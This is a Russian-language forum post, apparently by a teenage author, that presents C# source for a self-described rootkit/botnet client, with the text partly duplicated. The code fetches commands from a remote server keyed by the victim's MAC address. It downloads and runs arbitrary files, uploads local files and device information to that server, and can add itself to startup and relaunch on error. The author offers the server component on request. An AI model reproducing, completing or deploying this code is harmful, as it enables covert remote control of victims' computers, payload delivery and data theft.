E 
		
				
				
			
		Enl1ghted
Говорю сразу, мне 14 лет, софт такого типа я пишу уже давно, вообще начинал я с Delphi, но на то что-бы писать что-то подобное на C# меня вдохновил SooLFaa и его темы об BotNet'e на С#.
Давайте начнём с функций данного чуда, они как и у всех rootkit'ах минимальные, предназначены только для того что-бы добыть информацию об устройстве и отправить её на сервер, а дальше админ уже сможет подгружать на это устройство сторонний софт, исходя из информации которую он получил.
Пока я напишу только каркас, и загрузку файла с последующим запуском.
А теперь об работе, в данном случае мы будем использовать Web сервер, а общение с ним будет проходить с помощью GET запросов.
Так выглядит класс в котором есть всё что нужно для работы с сервером:
	
	
	
	
		
Так то, тут 2 класса, так просто удобней работать.
Как вы уже могли заметить, сервер опридиляет юзера по MAC адресу.
Вот так кстати его можно достать из системы:
	
	
	
	
		
А вот часть что отвечает за запрет повторного запуска, не хотел рвать жопу с мютексами и зделал просто проверку повторения процесса:
	
	
	
	
		
Ничего сложного.
А теперь перейдём к сложному, к самому Main классу программы, в котором и будет происходить всё самое интересное. Я сделал его по принципу switch to switch, так проще всего смотреть на код, что на счёт оптимизации, то можете подсказать в коментах. А вот и он:
	
	
	
	
		
Вот пока и всё, если тема зайдёт буду писать дальше, а пока загрузки и запуска файла в общем хватит. Сервер у меня уже написан, если кому нужно пишите в коменты.
Думаю с Config файлом вы сможете и сами разобраться.
				
			Давайте начнём с функций данного чуда, они как и у всех rootkit'ах минимальные, предназначены только для того что-бы добыть информацию об устройстве и отправить её на сервер, а дальше админ уже сможет подгружать на это устройство сторонний софт, исходя из информации которую он получил.
Пока я напишу только каркас, и загрузку файла с последующим запуском.
А теперь об работе, в данном случае мы будем использовать Web сервер, а общение с ним будет проходить с помощью GET запросов.
Так выглядит класс в котором есть всё что нужно для работы с сервером:
		C#:
	
	namespace Kernel
{
    class HTTPGet
    {
        public static string Indication()
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Config.RootKitServer + "/reception.php?" + "id=" + Core.macAddresses() + "&key=" + Config.RootKitServerPassword);
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
            return new StreamReader(response.GetResponseStream()).ReadToEnd();
        }
        public static void File(string _file, string dir)
        {
            WebClient myWebClient = new WebClient();
            System.Uri Site = new Uri(Config.RootKitServer + @"/files/" + _file);
            myWebClient.DownloadFile(Site, dir + _file);
        }
    }
    class HTTPSend
    {
        public static void File(string file)
        {
            System.Net.WebClient Client = new System.Net.WebClient();
            Client.Headers.Add("Content-Type", "binary/octet-stream");
            byte[] result = Client.UploadFile(Config.RootKitServer + "/sfile.php?id=" + Core.macAddresses() + "&key=" + Config.RootKitServerPassword, "POST", file);
            string s = System.Text.Encoding.UTF8.GetString(result, 0, result.Length);
        }
        public static void Info(string data, string type)
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Config.RootKitServer + "/dispatch.php?id=" + Core.macAddresses() + "&key=" + Config.RootKitServerPassword + "&info=" + data);
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
        }
    }
}Так то, тут 2 класса, так просто удобней работать.
Как вы уже могли заметить, сервер опридиляет юзера по MAC адресу.
Вот так кстати его можно достать из системы:
		C#:
	
	public static string macAddresses()
{
            string macAddresses = "";
            foreach (NetworkInterface nic in NetworkInterface.GetAllNetworkInterfaces())
            {
                if (nic.OperationalStatus == OperationalStatus.Up)
                {
                    macAddresses += nic.GetPhysicalAddress().ToString();
                    break;
                }
            }
            return macAddresses;
}А вот часть что отвечает за запрет повторного запуска, не хотел рвать жопу с мютексами и зделал просто проверку повторения процесса:
		C#:
	
	public static bool EmergencyCopy()
        {
            string filename = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
            string name = filename.Substring(0, filename.IndexOf('.'));
            Process[] pr = Process.GetProcesses();
            int count = 0;
            for (int i = 0; i < pr.Length; i++)
            {
                if (pr[i].ProcessName == name || pr[i].ProcessName == name + ".exe")
                {
                    count++;
                }
            }
            if (count > 1) { return true; } else { return false; };
        }Ничего сложного.
А теперь перейдём к сложному, к самому Main классу программы, в котором и будет происходить всё самое интересное. Я сделал его по принципу switch to switch, так проще всего смотреть на код, что на счёт оптимизации, то можете подсказать в коментах. А вот и он:
		C#:
	
	static void Main(string[] args)
        {
            try
            {
                Thread.Sleep(Config.IntervalToStrart);
                if (EmergencyCopy())
                {
                    Environment.Exit(0);
                }
                if (Config.persistence)
                {
                    startup(true);
                }
                string Indication = null, type = null, subtype = null, cmd = null;
                while (true)
                {
                    Thread.Sleep(Config.IntervalToGetInst);
                    Indication = HTTPGet.Indication();
                    if (Indication != "")
                    {
                        type = Indication.Substring(0, Indication.IndexOf('.'));
                        subtype = Indication.Substring(Indication.IndexOf('.') + 1, Indication.IndexOf('=') - Indication.IndexOf('.') - 1);
                        cmd = Indication.Substring(Indication.IndexOf('=') + 1);
                        switch (type)
                        {
                            case "File":
                                switch (subtype)
                                {
                                    case "Upload":
                                        try
                                        {
                                            string Fcmd = cmd.Substring(0, cmd.IndexOf(',')), Scmd = cmd.Substring(cmd.IndexOf(',') + 1); //
                                            HTTPGet.File(Fcmd, Scmd); //Dir, File
                                            System.Diagnostics.Process.Start(Fcmd+Scmd);
                                        } catch { HTTPSend.Info("Error: Failed to upload file to device!", "err"); }
                                        break;
                                }
                                break;
                        }
                    }
                }
            } catch {
                System.Diagnostics.Process.Start(Assembly.GetExecutingAssembly().Location);
                Environment.Exit(0);
            }
        }Вот пока и всё, если тема зайдёт буду писать дальше, а пока загрузки и запуска файла в общем хватит. Сервер у меня уже написан, если кому нужно пишите в коменты.
Думаю с Config файлом вы сможете и сами разобраться.
			
				Последнее редактирование модератором: 
			
		
	
										
										
											
	
										
									
								 
	 
	 
	 
	 
	
 
 
		 
 
		 
 
		 
 
		 
	